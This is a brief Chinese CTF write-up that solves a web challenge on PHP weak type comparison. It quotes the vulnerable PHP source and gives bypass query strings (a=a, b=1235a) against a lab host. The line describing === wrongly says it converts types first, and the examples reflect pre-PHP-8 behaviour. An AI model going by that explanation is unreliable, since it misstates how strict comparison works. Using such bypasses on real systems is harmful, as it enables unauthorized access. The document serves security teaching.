https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5072

题解:

  • 掌握php弱类型比较
  • php中有两种比较符号:
  • ==: 先将字符串类型转化成相同,再比较
  • ===: 先将字符串类型转化成相同,再比较
  • 字符串和数字比较使用==时,字符串会先转换为数字类型再比较 php var_dump('a' == 0);//true,这里'a'会被转换数字0 var_dump('123a' == 123);//true,这里'123a'会被转换为123
  • <?php 
    show_source(__FILE__); 
    include("config.php"); 
    $a=@$_GET['a']; 
    $b=@$_GET['b']; 
    if($a==0 and $a){ 
        echo $flag1; 
    } 
    if(is_numeric($b)){ 
        exit(); 
    } 
    if($b>1234){ 
        echo $flag2; 
    } 
    ?> 
    

    - 前半段可以用:html http://10.10.10.175:32779/index.php?a=a ```

  • 同理var_dump('1234a' == 1234)结果为true,php的弱类型比较会忽略字母a
  • 所以后半段可以用: html http://10.10.10.175:32779/index.php?a=a&b=1235a